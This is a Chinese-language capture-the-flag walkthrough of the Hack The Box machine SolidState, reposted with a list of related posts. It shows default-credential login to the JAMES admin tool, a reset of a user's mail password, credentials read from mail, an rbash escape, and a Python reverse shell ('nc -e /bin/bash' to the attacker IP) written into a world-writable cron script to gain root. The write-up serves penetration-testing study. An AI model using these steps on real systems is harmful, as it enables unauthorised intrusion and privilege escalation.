HTB-SolidState

端口扫描

Nmap scan report for 10.10.10.51 (10.10.10.51)
Host is up (1.2s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp  open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 10.10.10.51 (10.10.14.3 [10.10.14.3]),
80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open  pop3?
119/tcp open  nntp?
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

80界面看了是一个静态界面，，没啥利用价值
25端口是JAMES smtpd 2.3.2 服务，可以直接找到可利用的rce漏洞（不过我利用失败了，写了反弹没弹出来）
默认账号密码直接登录root/root

修改mindy的密码

kali@kali:~/htb/SolidState$ nc -nvC 10.10.10.51 4555
(UNKNOWN) [10.10.10.51] 4555 (?) open
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
setpassword mindy password
Password for mindy reset

登录mindy邮箱查看邮件内容看到了

kali@kali:~$ nc -nvC 10.10.10.51 110
(UNKNOWN) [10.10.10.51] 110 (pop3) open
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS password
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
pert 2
-ERR
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])                                                                                                                                                                                           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581                                                                                                                                                                         for <mindy@localhost>;                                                                                                                                                                                                           Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access                                                                                                                                                                                                                       Dear Mindy,                                                                                                                                                                                                                                Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. username: mindy
pass: P@55W0rd1!2@Respectfully,
James

登录之后发现是一个受限制的rbash，考虑逃逸

 kali@kali:~/htb/SolidState$ ssh mindy@10.10.10.51 -t "/bin/bash"mindy@10.10.10.51's password: Permission denied, please try again.mindy@10.10.10.51's password: rbash: /bin/bash: restricted: cannot specify `/' in command namesConnection to 10.10.10.51 closed.kali@kali:~/htb/SolidState$ ssh mindy@10.10.10.51 -t "bash"mindy@10.10.10.51's password: ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ lsbin  user.txt${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoamimindy

提权
拿到了一个普通权限的shell 考虑提权
find / -writable -type f 2>/dev/null
找到全员可写的文件第一个就是/opt/tmp.py
看了看脚本内容是tmp目录的清理脚本
直接写反弹进去
```
import os
imort sys
try:os.system('nc -e /bin/bash 10.10.14.3 7777')
except:sys.exit()
```
这块咱们很难判断其是否在定时任务中，执行周期是多少，看老外的文章提供了个脚本pspy可以用来监控计划任务，try try…

通过tmp.py脚本反弹拿到root权限，flag提交搞定

注意的地方
sshpass -p ‘P@55W0rd1!2@’ ssh mindy@10.10.10.51 -t bash 无交互写登录密码 &指定登录脚本
James smtp漏洞及默认密码利用
还有我的exp没有利用成功/吐血

HTB-SolidState相关推荐

手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好？...
我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...
linux htb 源代码,LINUX TC:HTB相关源码
LINUX TC:HTB相关源码收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...
Linux 工具 | 第1篇：高级流控-TC+HTB+IFB+内核模块
作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...
linux下TC+HTB流量控制
C规则涉及到队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...
HTB打靶(Active Directory 101 Mantis)
namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...
Linux TC 流量控制与排队规则 qdisc 树型结构详解（以HTB和RED为例）
1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...
漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试
本文作者:是大方子(Ms08067实验室核心成员) ﹀﹀﹀ 0x00 本文目录反思与总结基本信息渗透测试过程补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...
HTB打靶(Active Directory 101 Reel)
nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...
HTB靶场系列 Windows靶机 Granny靶机
勘探还是使用nmap进行侦擦先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...
HTB Optimum[Hack The Box HTB靶场]writeup系列6
这是HTB retire machine的第六台靶机目录 0x00 靶机情况 0x01 信息搜集端口扫描检索应用 0x02 get webshell 0x03 提权 mfs中查找提权程序执行s ...

HTB-SolidState

HTB-SolidState相关推荐

最新文章

热门文章